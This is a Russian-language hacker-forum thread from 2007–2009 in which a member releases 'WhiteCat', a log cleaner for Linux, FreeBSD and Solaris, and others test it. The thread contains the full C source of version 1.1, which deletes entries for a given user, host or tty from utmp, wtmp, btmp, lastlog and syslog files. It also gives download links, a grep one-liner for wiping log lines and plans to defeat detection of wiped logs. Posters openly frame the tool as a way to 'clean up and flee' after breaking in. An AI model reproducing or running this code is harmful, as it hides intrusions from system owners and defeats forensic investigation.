Просмотр полной версии : WhiteCat LogCleaner 1.0 by ShadOS
Приветствую всех. Вот зарелизил свой логклинер (видимо это традиция для большинства команд, в т.ч. и для HellKnights =)) с поддержкой регулярных выражений. Без тени скромности можно сказать что он один из лучших в своём роде, тем более в природе логклинеров с поддержкой Perl-совместимых регулярных выражений я не видел. Может чистить как бинарные так и текстовые логи. Пользутесь наздоровье. Жду отзывов и пожеланий по развитию проекта.
Скачать можно здесь:
http://shados.0x48k.cc/releases/whitecat.c
http://hellknights.void.ru/releases/0x48k-whitecat.c
L0rd_Ha0S
29.03.2007, 22:06
Молоток! Лог-клинер что надо :) Все работает как положено, но нашёлся один недостаток - в процессе своей работы программа создает гигантские временные файлы, и как получилось в моем случае, размер временного файла превысил максимально допустимый размер файла для ext2 - 2Gb, и программа получила SIGKILL, а временный файл остался. Это может привести например к тому, что логи могут быть вычищены неполностью(потому что whitecat немедленно завершается). Исходя из того что на большинстве Linux-серверов используется именно ext2 в качестве корневой ФС, предлагаю добавить функцию периодической проверки размера временного файла, и если размер временного файла превышает определенный допустимый размер (например 1 Gb) - то удалить все что уже не используется из этого файла(вычистить его), либо если какие-то данные из этого файла все еще нужны, то скинуть их в отдельный файл. Так клинер не превысит пределов на размер файла, и спокойно завершит все что ему положено. Ну или придумать что-нить помудрее :D
Прикладываю скрин, там то, что произошло при работе whitecat :)
http://img254.imageshack.us/img254/8918/wh2312rk6.th.jpg (http://img254.imageshack.us/my.php?image=wh2312rk6.jpg)
HaOS, молодец. Спасибо за тестирование (+++ даю) - обязательно что-нибудь придумаю. Если есть ещё предложения по совершенствованию - пиши, исправим! А исходный файл какого размера был? Какая там ФС для /var/log ? На скриншоте ничего не вижу.
Alexsize
30.03.2007, 16:14
Да. Логклинер тоже очень нам нужен! Но руткиты важнее.. Кстати он корректно работает под FreeBsd ???
Да. Логклинер тоже очень нам нужен! Но руткиты важнее.. Кстати он корректно работает под FreeBsd ???
В FreeBSD не тестировал. Тестировал в Gentoo 2006.1 (ядро 2.6.19) Linux и Fedora 6 Linux (ядро 2.6.20), но должен работать корректно и в BSD - читай вводную. Оттестируешь - дам плюсов =)
Alexsize
30.03.2007, 16:54
Начнем с компилляции
In file included from whitecat.c:33:
/usr/include/utmp.h:54: error: syntax error before "int32_t"
/usr/include/utmp.h:63: error: syntax error before "int32_t"
whitecat.c:38:21: lastlog.h: No such file or directory
whitecat.c: In function `clear_uwbtmp':
whitecat.c:247: error: structure has no member named `ut_user'
whitecat.c:247: error: structure has no member named `ut_user'
whitecat.c: In function `clear_lastlog':
whitecat.c:289: error: structure has no member named `ll_time'
Это 6.2-STABLE FreeBSD . Тут, как я понимаю, нету библиотеки. Но я могу ошибаться.
Ok, значит на FreeBSD не так всё ажурно как в Linux. Но эти ошибки не проблема - исправим. Спасибо.
L0rd_Ha0S
30.03.2007, 19:29
А исходный файл какого размера был?
Не совсем понял, какой исходный файл имеется в виду - сам исходник whitecat.c или размер самих логов? Если whitecat.c, то 10000 байт(прикольно, так ровно вышло, только заметил :)), если размер логов, то не знаю, как-то не посмотрел перед тестированием :confused:
Какая там ФС для /var/log ?
ext2, /var/log у меня на корневом разделе лежит.
хм... странно получается. Если /var/log тоже на корневом разделе, то как там может поместиться исходный файл-лог больше чем допустимый размер файла? Временный файл должен быть аналогичен по размеру или меньше исходного. А исходники whitecat.c здесь непричём =) Протестируй ещё раз, пожалуйста, и посмотри размеры файлов предварительно. И ещё раз глянь внимательно в /etc/fstab.
L0rd_Ha0S
30.03.2007, 23:00
Если /var/log тоже на корневом разделе, то как там может поместиться исходный файл-лог больше чем допустимый размер файла? Временный файл должен быть аналогичен по размеру или меньше исходного.
А он и не больше :) Вот посмотри
root@HaPriS(21:25:03)/tmp # gcc -o whitecat whitecat.c
root@HaPriS(21:25:04)/tmp # ll /var/log/lastlog
-rw-rw-r-- 1 root utmp 572K 2007-03-30 21:17 /var/log/lastlog
root@HaPriS(21:25:18)/tmp # ll /var/log/wtmp
-rw-rw-r-- 1 root utmp 591K 2007-03-30 21:17 /var/log/wtmp
root@HaPriS(21:25:21)/tmp # ll /var/run/utmp
-rw-rw-r-- 1 root utmp 3.8K 2007-03-30 21:17 /var/run/utmp
root@HaPriS(21:25:26)/tmp # ll /var/log/btmp
-rw-rw-r-- 1 root utmp 2.3K 2007-03-30 21:17 /var/log/btmp
root@HaPriS(21:25:32)/tmp # ll /var/log/dmesg
-rw-r----- 1 root adm 19K 2007-03-30 16:02 /var/log/dmesg
root@HaPriS(21:25:35)/tmp # ll /var/log/auth.log
-rw-r----- 1 root adm 151M 2007-03-30 21:17 /var/log/auth.log
root@HaPriS(21:25:39)/tmp # ./whitecat -u haos
cat /tmp/tmpfileMaHQGE > /var/run/utmp
utmp cleaning [ OK ]
cat /tmp/tmpfileQ9VTeQ > /var/log/wtmp
wtmp cleaning [ OK ]
cat /tmp/tmpfile3Utq01 > /var/log/btmp
btmp cleaning [ OK ]
lastlog cleaning [ OK ]
Превышен лимит размера файла
root@HaPriS(21:27:22)/tmp # ll
итого 2.1G
-rw------- 1 root root 2.0G 2007-03-30 21:27 tmpfilejprkYd
-rwxr-xr-x 1 root root 15K 2007-03-30 21:25 whitecat
drwx------ 3 haos people 4.0K 2007-03-30 21:24 ksocket-haos/
srw-rw---- 1 haos audio 0 2007-03-30 21:22 alsa-dmix-3591-1175278934-156939
drwx------ 2 haos people 4.0K 2007-03-30 21:14 mc-haos/
-rw-r--r-- 1 root root 9.8K 2007-03-30 20:48 whitecat.c
drwx------ 2 haos people 4.0K 2007-03-30 16:03 orbit-haos/
drwx------ 2 haos people 4.0K 2007-03-30 16:03 kde-haos/
srwxr-xr-x 1 haos people 0 2007-03-30 16:02 mapping-haos
drwx------ 2 haos people 4.0K 2007-03-30 16:02 virtual-haos.eIVIzZ/
srwxr-xr-x 1 haos people 0 2007-03-30 16:02 xmms_haos.0
drwx------ 2 haos people 4.0K 2007-03-30 16:02 keyring-f9Fomt/
drwx------ 3 haos people 4.0K 2007-03-30 16:02 gconfd-haos/
root@HaPriS(21:27:32)/tmp #
И ещё раз глянь внимательно в /etc/fstab.
root@HaPriS(21:43:04)/tmp # df -h /var/log
Файловая система Разм Исп Дост Исп% смонтирована на
/dev/sda8 41G 8.5G 31G 22% /
root@HaPriS(21:43:06)/tmp # mount |grep sda8
/dev/sda8 on / type ext2 (rw)
root@HaPriS(21:43:17)/tmp # cat /etc/fstab |grep sda8
/dev/sda8 / ext2 defaults 0 2
root@HaPriS(21:43:40)/tmp #
Сам временный файл заполнен каким-то нечитаемым мусором вперемешку с нулями. Может быть проблема в том, что lastlog почти полностью состоит из нулей(т.е. происходит поиск несуществующих записей)? Такой он уже после очистки клинером. Если там есть несколько записей о входивших пользователях, то очистка завершается успешно(хотя в процессе работы все равно создаются большие лог-файлы, но поменьше 2 гигов). 2х гиговый темп-файл создается именно при обработке lastlog, при обработке других я успел заметить цифры в 300 с лишним- 400 с лишним метров(и поменьше).
это уже какие-то страные баги. жуть. Покажи размер логов после очистки.
L0rd_Ha0S
31.03.2007, 01:50
Кое-что прояснилось, я совсем забыл про /var/log/messages. Он у меня был довольно внушительных размеров - 455 Мб, а старый файл вообще - 1.3 Gb (но этот лог клинер не затрагивал, этот файл хранился забэкапеным) :) Я как поставил систему, так до сих пор не удалял никаких логов. Общий размер /var/log был почти 2 гига :) Почистив этот файл(ну и за компанию половину ненужных логов столетней давности :)), все стало путем. Хотя в общем плане проблема не исчезла, проверять в ходе работы размер temp-файлов на ext2 фс, я думаю, все же стоит, потому что на сервере логи могут быть и побольше размером чем у меня в системе, а это значит что там может возникнуть такая же проблема.
Alexsize
31.03.2007, 13:41
Насчет фри. Я попробую на днях на 5 и 4 ветках, если получиться. И отпишусь еще.
Хотя в общем плане проблема не исчезла, проверять в ходе работы размер temp-файлов на ext2 фс, я думаю, все же стоит, потому что на сервере логи могут быть и побольше размером чем у меня в системе, а это значит что там может возникнуть такая же проблема.
Ты конечно прав - не должно быть никаких произвольных ограничений. Но на нормальном сервере логи таких размерв не бывают - logrotate обязательно стоит и архивы бекапятся в хранилище. Только текущий лог находится в системе.
Под BSD действительно не компилируется
whitecat.c:38:21: lastlog.h: No such file or directory
whitecat.c: In function `clear_uwbtmp':
whitecat.c:247 error: structure has no member named `ut_user'
whitecat.c:247 error: structure has no member named `ut_user'
Ошибку с размерами логов локализовал и исправил. Под FreeBSD тоже скоро готово будет. Ждите.
UPD: исправленная версия для GNU/Linux доступна по тем же ссылкам. Теперь всё работает отлично.
Помимо этого незнаю зачем выложил бинарник:
http://shados.0x48k.cc/releases/whitecat
Все ошибки исправил. Теперь работать должно и под FreeBSD. Ссылки остаются прежними.
Alexsize
02.04.2007, 09:37
Все отлично заработало под фрю 6.2
Вычистил отлично.
Респект. MustHave!!!!
Я тут решил устроить нечно вроде опроса: надо ли добавлять возможность чистки других текстовых логов типа access.log Апача и т.п, ведь это можно и вручную сделать с помощью perl или того же grep? Отпишитесь, пожалуйста, все кому интересен проект действительно качественного логклинера для Linux/xBSD. Я лично не вижу смысла в чистке текстовых логов и вообще подумываю убить эту возможность из своего клинера, не unixway это.
Даже не вопрос. конечно интересует.
только сначало желательна совместимость, а потом уже функциональность...
только сначало желательна совместимость, а потом уже функциональность...
В каком смысле? Логклинер совместим с GNU/Linux и FreeBSD. Проверенно на RHEL4, Gentoo 2006.1, FC6, FreeBSD 6.0
DisturbeR
07.04.2007, 22:09
Упс..забыл кавычку:
#define _PATH_LASTLOG "/var/log/lastlog
в старых системах без нее не компилится.
Если хотите получить универсальный бинарник (чтоб не тратить время компиляцию) нужно собирать с наиболее древней Glibc, Т.к. если версия в системе старше, чем та с которой вы собирали бинарник, выдаст ошибку и попросит обновить.
Я лично не вижу смысла в чистке текстовых логов и вообще подумываю убить эту возможность из своего клинера, не unixway это.
Пожалуйста не делай этого, ручная чистка и дополнительные perl-утилиты, это unixway, но не лучшийway, когда в запарке нужно почистится и смыться))))
Упс..забыл кавычку:
#define _PATH_LASTLOG "/var/log/lastlog
в старых системах без нее не компилится.
...
Пожалуйста не делай этого, ручная чистка и дополнительные perl-утилиты, это unixway, но не лучшийway, когда в запарке нужно почистится и смыться))))
Насчёт кавычки - это мне давно сообщили =) Как что-нибудь ешё добавлю - выложу с исправлением.
Насчёт текстовых логов - жду хотя-бы большинства ответов от интересующихся, нужно ли действительно это.
L0rd_Ha0S
08.04.2007, 13:12
ShadOS
Насчёт текстовых логов - жду хотя-бы большинства ответов от интересующихся, нужно ли действительно это.
А мне кажется, что это не будет лишним. По крайней мере, можно включить возможность чистки текстовых логов в виде отдельной функции, но по дефолту ее не вызывать, а для того чтобы лог-клинер вычистил и текстовые логи, запускать whitecat с дополнительным параметром. imho
А мне кажется, что это не будет лишним. По крайней мере, можно включить возможность чистки текстовых логов в виде отдельной функции, но по дефолту ее не вызывать, а для того чтобы лог-клинер вычистил и текстовые логи, запускать whitecat с дополнительным параметром. imho
нет, ну а можно ведь всё сделать одной командой!
cat /var/log/messages | grep -n <text_to_cleanup> > /var/log/messages
Я вот всё в сомнениях, может всё-таки убрать? Просто тупо делать так, допустим:
whitecat -u <text_to_cleanup> --textlog /var/log/messages
я не хочу, потому как это аналогично первому варианту.
L0rd_Ha0S
10.04.2007, 00:49
ShadOS
нет, ну а можно ведь всё сделать одной командой!
Хотя знаешь что, ты наверное прав ;) Не нужно включать чистку тесктовых логов. Велосипед давно изобрели, надо только не забыть как на нем ездить(это я про стандартные unix-программы, не нужно забывать как ими пользоваться) :) А то вот так вот все в одну программулину заложишь, и потом совсем неинтересно будет, она сделает все за тебя (так и помереть со скуки можно будет) :) Неправильно это как-то получается, мутить целую функцию для чистки текстовых логов, писать много левого кода, когда все делается парой незамысловатых команд. Так что нафиг такие дела :)
cat /var/log/messages | grep -n <text_to_cleanup> > /var/log/messages
ты наверно имел в виду так:
cat /var/log/messages | grep -v <text_to_cleanup> > /var/log/messages
параметр -n у grep - это отображать номера строк.
ты наверно имел в виду так:
cat /var/log/messages | grep -v <text_to_cleanup> > /var/log/messages
параметр -n у grep - это отображать номера строк.
Абсолютно верно. Пожалуй, я лучше сделаю проверку на timestamp иежду записями в бинарных логах, по которым можно вычислить была ли чистка логов (удалялись ли записи), а текстовые логи останутся, но заморачиваться с ними сильно не буду. Про фишку с timestamp я сам недвно только узнал. Кстати, всего 2 логвайпера видел, которые с этим справляются. Не будем их рекламировать, т.к. скоро и мой с этим будет работать. Тогда его точно можно будет назвать лучшим в своём роде. И пожалуй ещё одно TODO: заточить релиз под Solaris. Как вам идея?
Йоптель... уже на packetstormsecurity.nl:
http://packetstormsecurity.nl/UNIX/penetration/log-wipers/indexdate.html
Только вот там версия немного устарела...
jawbreaker
22.02.2009, 01:16
В OpenSolaris 2008.11 не компилируется:
alex@opensolaris:~$ gcc -o whitecat whitecat.c
whitecat.c: In function `main':
whitecat.c:187: error: missing terminating " character
whitecat.c:187: error: too few arguments to function `clear_lastlog'
whitecat.c: In function `clear_uwbtmp':
whitecat.c:322: error: structure has no member named `ut_host'
whitecat.c:322: error: structure has no member named `ut_host'
whitecat.c: In function `clear_lastlog':
whitecat.c:363: error: storage size of 'entry' isn't known
whitecat.c:381: error: invalid application of `sizeof' to incomplete type `lastlog'
whitecat.c:393: error: invalid application of `sizeof' to incomplete type `lastlog'
whitecat.c:400: error: invalid application of `sizeof' to incomplete type `lastlog'
Жаль, но OpenSolaris этой версии нет под рукой. Нет возможости проверить, но уже вижу что исправляется всё банально + подключение нескольких библиотек + #ifdef по поводу солярки
Собственно, версия 1.1. Скорее всего баги есть, требуется отловить.
/*
* This is WhiteCat logcleaner version 1.1 by ShadOS from Hell Knights Crew.
* It supports perl compatible regular expressions and cleans any binary and
* text log files (just correct source a little). WhiteCat is designed for
* almost any (maybe) UNIX-like system.
* Distributed under GPLv2. Use it only for educational purpose only.
* Thanks to Ivan Sklyaroff for his articles.
* Don't forget to visit our site and my homepage for new releases:
* http://hellknights.void.ru
* Also, you can mail me any bugs or suggestions:
* mailto: shados /at/ real /dot/ xakep /dot/ ru
* mailto: shados /at/ mail /dot/ ru
*
*
* Copyright (C) 89, 90, 91, 1995-2007 Free Software Foundation.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
//#define SUNOS
#define DEBUG
#include <stdio.h>
#include <sys/param.h>
#include <stdint.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <pwd.h>
#include <string.h>
#include <regex.h>
#include <limits.h> /* for PATH_MAX */
#include <getopt.h>
#include <locale.h>
#include <utmp.h>
#ifdef SUNOS
#include <utmpx.h>
#include <lastlog.h>
#endif
/* SOLARIS */
#ifdef SUNOS
#ifndef LASTLOG_FILE
#define LASTLOG_FILE "/var/adm/lastlog"
#endif
#ifndef BTMPX_FILE
#define BTMPX_FILE "/var/adm/btmpx"
#endif
#else
/* Linux, FreeBSD */
#ifndef UTMP_FILE
#ifndef _PATH_UTMP
#define UTMP_FILE "/var/run/utmp"
#else
#define UTMP_FILE _PATH_UTMP
#endif
#endif
#ifndef WTMP_FILE
#ifndef _PATH_WTMP
#define WTMP_FILE "/var/log/wtmp"
#else
#define WTMP_FILE _PATH_WTMP
#endif
#endif
#ifndef LASTLOG_FILE
#ifndef _PATH_LASTLOG
#define LASTLOG_FILE "/var/log/lastlog"
#else
#define LASTLOG_FILE _PATH_LASTLOG
#endif
#endif
#ifndef BTMP_FILE
#ifndef _PATH_BTMP
#define BTMP_FILE "/var/log/btmp"
#else
#define BTMP_FILE _PATH_BTMP
#endif
#endif
#endif
//modify parametrs as in your box ;)
#define SECURE_FILE "/var/log/secure"
#ifdef SUNOS
#define SYSLOG_FILE "/var/log/syslog"
#else
#define SYSLOG_FILE "/var/log/messages"
#endif
#define MAXBUFF 8*1024
#define PROGRAM_NAME "WhiteCat logcleaner"
#define PROGRAM_VERSION 1.1
#define PROGRAM_RELEASE 1
#define AUTHORS "Shad0S [Hell Knights Crew]"
char *myname; /* for error messages */
int do_ignorecase = 0; /* -i option: ignore case */
int do_extended = 0; /* -E option: use extended RE's */
int do_username = 0;
int do_hostname = 0;
int do_tty = 0;
int errors = 0; /* number of errors */
/* patterns to match */
regex_t username;
regex_t hostname;
regex_t tty;
int copy_tmp(char *dstfilename, char *tmpfilename);
int clear_textlog(char *filename);
int clear_uwbtmp(char *filename);
int clear_lastlog (char *filename);
regex_t compile_pattern(const char *pat);
int process_regexp(regex_t *pattern, char *buf, size_t size);
char *xgethostname(void);
void usage(void);
void version(void);
int main(int argc, char *argv[])
{
myname = argv[0];
char c;
struct stat statbuf; //buffer for stat()
/* i18n */
//setlocale (LC_ALL, "");
//struct lconv l = *localeconv();
//l.decimal_point = ".";
struct option longopts[]={
{ "user", required_argument, &do_username, 'u'},
{ "tty", required_argument, &do_tty, 't'},
{ "hostname", required_argument, &do_hostname, 'a'},
{ "extended", no_argument, &do_extended, 'e'},
{ "ignore", no_argument, &do_ignorecase, 'i'},
{ "help", no_argument, NULL, 'h'},
{ "version", no_argument, NULL, 'V'},
{ 0, 0, 0, 0 }
};
if ((argc < 2) || (argc > 18)) {
version();
usage();
}
while ((c=getopt_long(argc,argv,"u:t:a:reihVW;",longopts,NULL)) != -1) {
switch (c) {
case 'u':
username = compile_pattern(optarg);
if (errors) usage(); //compile failed
do_username=1;
break;
case 't':
tty = compile_pattern(optarg);
if (errors) usage(); //compile failed
do_tty=1;
break;
case 'a':
hostname = compile_pattern(optarg);
if (errors) usage(); //compile failed
do_hostname=1;
break;
case 'e':
do_extended = 1;
break;
case 'i':
do_ignorecase = 1;
break;
case 'h':
version();
usage();
case 'V':
version();
exit(0);
break;
case 0:
break;
case ':':
fprintf(stderr, "%s: option '-%c' requires an argument\n", myname, optopt);
usage();
case '?':
default:
fprintf(stderr, "%s: option '-%c' is invalid\n", myname, optopt);
usage();
}
}
//sanity check
if (!do_username && !do_tty && !do_hostname){
fprintf(stderr, "%s: did not found any parametr to clean (username, hostname, tty)!\n", myname);
usage();
}
version();
#ifdef SUNOS
if (!clear_uwbtmp(UTMPX_FILE))
printf("\033[1mutmp cleaning \t\t\t\t\t\t\t \033[32;1m[ OK ] \033[0m\n");
else
printf("\033[1mutmp cleaning \t\t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");
if (!clear_uwbtmp(WTMPX_FILE))
printf("\033[1mwtmp cleaning \t\t\t\t\t\t\t \033[32;1m[ OK ] \033[0m\n");
else
printf("\033[1mwtmp cleaning \t\t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");
/* we able to get file attributes, so BTMPX_FILE obviously exists */
if (stat(BTMPX_FILE, &statbuf) == 0)
if (!clear_uwbtmp(BTMPX_FILE))
printf("\033[1mbtmp cleaning \t\t\t\t\t\t\t \033[32;1m[ OK ] \033[0m\n");
else
printf("\033[1mbtmp cleaning \t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");
#else
if (!clear_uwbtmp(UTMP_FILE))
printf("\033[1mutmp cleaning \t\t\t\t\t\t\t \033[32;1m[ OK ] \033[0m\n");
else
printf("\033[1mutmp cleaning \t\t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");
if (!clear_uwbtmp(WTMP_FILE))
printf("\033[1mwtmp cleaning \t\t\t\t\t\t\t \033[32;1m[ OK ] \033[0m\n");
else
printf("\033[1mwtmp cleaning \t\t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");
/* we able to get file attributes, so BTMP_FILE obviously exists */
if (stat(BTMP_FILE, &statbuf) == 0)
if (!clear_uwbtmp(BTMP_FILE))
printf("\033[1mbtmp cleaning \t\t\t\t\t\t\t \033[32;1m[ OK ] \033[0m\n");
else
printf("\033[1mbtmp cleaning \t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");
#endif
if (!clear_lastlog(LASTLOG_FILE))
printf("\033[1mlastlog cleaning \t\t\t\t\t\t \033[32;1m[ OK ] \033[0m\n");
else
printf("\033[1mlastlog cleaning \t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");
if (!clear_textlog(SYSLOG_FILE))
printf("\033[1msyslog cleaning \t\t\t\t\t\t \033[32;1m[ OK ] \033[0m\n");
else
printf("\033[1msyslog cleaning \t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");
if (stat(SECURE_FILE, &statbuf) == 0) //we able to get file attributes, so SECURE_FILE obviously exists
if (!clear_textlog(SECURE_FILE))
printf("\033[1msecure cleaning \t\t\t\t\t\t \033[32;1m[ OK ] \033[0m\n");
else
printf("\033[1msecure cleaning \t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");
return 0;
}
/* replace logfile with tempfile */
int copy_tmp(char *dstfilename, char *tmpfilename)
{
char buffer[BUFSIZ];
sprintf(buffer, "cat %s > %s", tmpfilename, dstfilename);
#ifdef DEBUG
printf("%s\n", buffer);
#endif
if (system(buffer) < 0) {
printf("Error copying from tempfile!");
return 0x48;
}
//unlink(tmpfilename);
}
/* cleanup plaintext logfiles */
int clear_textlog(char *filename)
{
char buftmp[MAXBUFF];
FILE *fd;
int fdtmp;
int found = 0;
int errors = 0;
ssize_t rcnt, wcnt;
static char template[] = "tmpfileXXXXXX";
char ftmpname[PATH_MAX];
char *localhostname;
char *tmpdir;
if (do_username)
if ((localhostname = xgethostname()) == NULL) {
fprintf(stderr, "%s: could not determine hostname: %s\n", myname, strerror(errno));
return 0x48;
}
else {
if (process_regexp(&username, localhostname, strlen(localhostname)))
fprintf(stdout, "%s: warning: local hostname (%s) is like the username string!\n", myname, localhostname, username);
}
if ((fd = fopen(filename, "r")) == 0) {
fprintf(stderr, "%s: %s: could not open: %s\n", myname, filename, strerror(errno));
return 0x48;
}
//get TMPDIR value, else use "/tmp"
if ((tmpdir = getenv("TMPDIR")) == NULL)
tmpdir = "/tmp";
sprintf(ftmpname, "%s/%s", tmpdir, template);
if ((fdtmp = mkstemp(ftmpname)) == -1) {
fprintf(stderr, "%s: %s: could not create temp file: %s\n", myname, filename, strerror(errno));
return 0x48;
}
//while ((rcnt = getline(&buftmp, &rcnt, fd)) != -1)
while (fgets(buftmp, MAXBUFF, fd) != NULL)
{
//length of null-terminated string
rcnt = strlen(buftmp);
if (do_hostname) found = process_regexp(&hostname, buftmp, rcnt);
if (do_username) found = process_regexp(&username, buftmp, rcnt);
if (do_tty) found = process_regexp(&tty, buftmp, rcnt);
if (!found) {
wcnt = write(fdtmp, buftmp, rcnt);
if (wcnt != rcnt) {
fprintf(stderr, "%s: %s: write error: %s\n", myname, ftmpname, strerror(errno));
errors++;
break;
}
}
found = 0;
}
if ((rcnt < 0) && (errno != EXIT_SUCCESS)) {
fprintf(stderr, "%s: %s: read error: %s\n", myname, filename, strerror(errno));
errors++;
}
if (fd != 0) {
if (fclose(fd) < 0) {
fprintf(stderr, "%s: %s: close error: %s\n", myname, filename, strerror(errno));
errors++;
}
}
if (fdtmp != 0) {
if (close(fdtmp) < 0) {
fprintf(stderr, "%s: %s: close error: %s\n", myname, ftmpname, strerror(errno));
errors++;
}
}
copy_tmp(filename, ftmpname);
return (errors != 0);
}
/* cleanup binary log entries */
int clear_uwbtmp(char *filename)
{
#ifndef SUNOS
struct utmp entry;
#else
struct utmpx entry;
#endif
int fd;
int fdtmp;
int found = 0;
int errors = 0;
ssize_t rcnt, wcnt;
static char template[] = "tmpfileXXXXXX";
char ftmpname[PATH_MAX];
char *tmpdir;
if ((fd = open(filename, O_RDONLY)) == -1) {
fprintf(stderr, "%s: %s: could not open: %s\n", myname, filename, strerror(errno));
return 0x48;
}
//get TMPDIR value, else use "/tmp"
if ((tmpdir = getenv("TMPDIR")) == NULL)
tmpdir = "/tmp";
sprintf(ftmpname, "%s/%s", tmpdir, template);
if ((fdtmp = mkstemp(ftmpname)) == -1) {
fprintf(stderr, "%s: %s: could not create temp file: %s\n", myname, filename, strerror(errno));
return 0x48;
}
while ((rcnt = read(fd, &entry, sizeof(struct utmp))) > 0)
{
#ifdef DEBUG
printf("line: %s\n", entry.ut_line);
printf("host: %s\n", entry.ut_host);
printf("name: %s\n", entry.ut_name);
#endif
if (do_hostname) found = process_regexp(&hostname, entry.ut_host, sizeof(entry.ut_host));
if (do_username) found = process_regexp(&username, entry.ut_name, sizeof(entry.ut_name));
if (do_tty) found = process_regexp(&tty, entry.ut_line, sizeof(entry.ut_line));
if (!found) {
wcnt = write(fdtmp, &entry, sizeof(struct utmp));
if (wcnt != rcnt) {
fprintf(stderr, "%s: %s: write error: %s\n", myname, ftmpname, strerror(errno));
errors++;
break;
}
}
found = 0;
}
if (rcnt < 0) {
fprintf(stderr, "%s: %s: read error: %s\n", myname, filename, strerror(errno));
errors++;
}
if (fd != 0) {
if (close(fd) < 0) {
fprintf(stderr, "%s: %s: close error: %s\n", myname, filename, strerror(errno));
errors++;
}
}
if (fdtmp != 0) {
if (close(fdtmp) < 0) {
fprintf(stderr, "%s: %s: close error: %s\n", myname, ftmpname, strerror(errno));
errors++;
}
}
copy_tmp(filename, ftmpname);
return (errors != 0);
}
/* cleanup lastlog binary file with holes */
int clear_lastlog (char *filename)
{
struct passwd *pwd;
struct lastlog entry;
int uid = 0;
int found = 0;
int errors = 0;
int fd;
ssize_t rcnt, wcnt;
if ((fd = open(filename, O_RDWR)) < 0) {
fprintf(stderr, "%s: %s: could not open: %s\n", myname, filename, strerror(errno));
return 0x48;
}
/* set position to the beginning of the file */
if (lseek(fd, (off_t)0, SEEK_SET) == (off_t)-1) {
fprintf(stderr, "%s: %s: could not set position in file: %s\n", myname, filename, strerror(errno));
return 0x48;
}
while ((rcnt = read(fd, &entry, sizeof(struct lastlog))) > 0)
{
if (do_username) {
if ((pwd = getpwuid(uid)) != NULL)
found = process_regexp(&username, pwd->pw_name, sizeof(pwd->pw_name));
uid++;
}
if (do_hostname) found = process_regexp(&hostname, entry.ll_host, sizeof(entry.ll_host));
if (do_tty) found = process_regexp(&tty, entry.ll_line, sizeof(entry.ll_line));
if (found)
{
//XXX is this correct?
bzero(&entry, sizeof(struct lastlog));
found = 0;
}
if (lseek(fd, -(off_t)rcnt, SEEK_CUR) == (off_t)-1) {
fprintf(stderr, "%s: %s: could not set position in file: %s\n", myname, filename, strerror(errno));
return 0x48;
}
wcnt = write(fd, &entry, sizeof(struct lastlog));
if (wcnt != rcnt) {
fprintf(stderr, "%s: %s: write error: %s\n", myname, filename, strerror(errno));
errors++;
break;
}
}
if (rcnt < 0) {
fprintf(stderr, "%s: %s: read error: %s\n", myname, filename, strerror(errno));
errors++;
}
if (fd != 0) {
if (close(fd) < 0) {
fprintf(stderr, "%s: %s: close error: %s\n", myname, filename, strerror(errno));
errors++;
}
}
return (errors != 0);
}
/* compile the regex pattern */
regex_t compile_pattern(const char *pat)
{
int flags = REG_NOSUB; /* don't need where-matched info */
int ret;
regex_t pattern;
#define MSGBUFSIZE 512 /* arbitrary */
char error[MSGBUFSIZE];
if (do_ignorecase)
flags |= REG_ICASE;
if (do_extended)
flags |= REG_EXTENDED;
ret = regcomp(&pattern, pat, flags);
if (ret != 0) {
(void) regerror(ret, &pattern, error, sizeof error);
fprintf(stderr, "%s: pattern `%s': %s\n", myname, pat, error);
errors++;
}
else
return pattern;
}
/* process regular expression */
int process_regexp(regex_t *pattern, char *buf, size_t size)
{
char error[MSGBUFSIZE];
int ret;
if ((ret = regexec(pattern, buf, 0, NULL, 0)) != 0) {
if (ret != REG_NOMATCH) {
(void) regerror(ret, pattern, error, sizeof error);
fprintf(stderr, "%s: %s\n", myname, error);
errors++;
return 0;
}
return 0;
}
else
return 1;
}
#ifndef INITIAL_HOSTNAME_LENGTH
# define INITIAL_HOSTNAME_LENGTH 34
#endif
/* Return the current hostname in malloc'd storage.
If malloc fails, exit.
Upon any other failure, return NULL and set errno. */
char *xgethostname(void)
{
char *hostname = NULL;
size_t size = INITIAL_HOSTNAME_LENGTH;
while(1)
{
/* Use SIZE_1 here rather than SIZE to work around the bug in
SunOS 5.5's gethostname whereby it NUL-terminates HOSTNAME
even when the name is as long as the supplied buffer. */
size_t size_1;
hostname = realloc(hostname, size);
size_1 = size - 1;
hostname[size_1 - 1] = '\0';
errno = 0;
if (gethostname(hostname, size_1) == 0)
{
if (!hostname[size_1 - 1])
break;
}
else if (errno != 0 && errno != ENAMETOOLONG && errno != EINVAL
/* OSX/Darwin does this when the buffer is not large enough */
&& errno != ENOMEM)
{
int saved_errno = errno;
free(hostname);
errno = saved_errno;
return NULL;
}
}
return hostname;
}
/* print usage message and exit with 0x48k status */
void usage(void)
{
printf("Usage:\n");
printf("\t %s [-u user] [-t tty] [-a hostname|ipaddr] [OPTIONS]\n", myname);
printf("OPTIONS:\n");
printf("\t -i --ignore \t ignore case in regexps\n");
printf("\t -e --extended \t use extended regexps\n");
printf("\t -V --version \t show version info and exit\n");
printf("\t -h --help \t show this help screen and exit\n");
printf("\n");
exit(0x48);
}
/* print version information */
void version(void)
{
fprintf(stdout, "\t ================================================== =====================\n");
fprintf(stdout, "\t = \033[1m%s %1.1f.%d by %s, 2007-2009.\033[0m =\n",
PROGRAM_NAME, PROGRAM_VERSION, PROGRAM_RELEASE, AUTHORS);
fprintf(stdout, "\t ================================================== =====================\n");
}
+10 первому нашедшему косяк с подробным описанием.
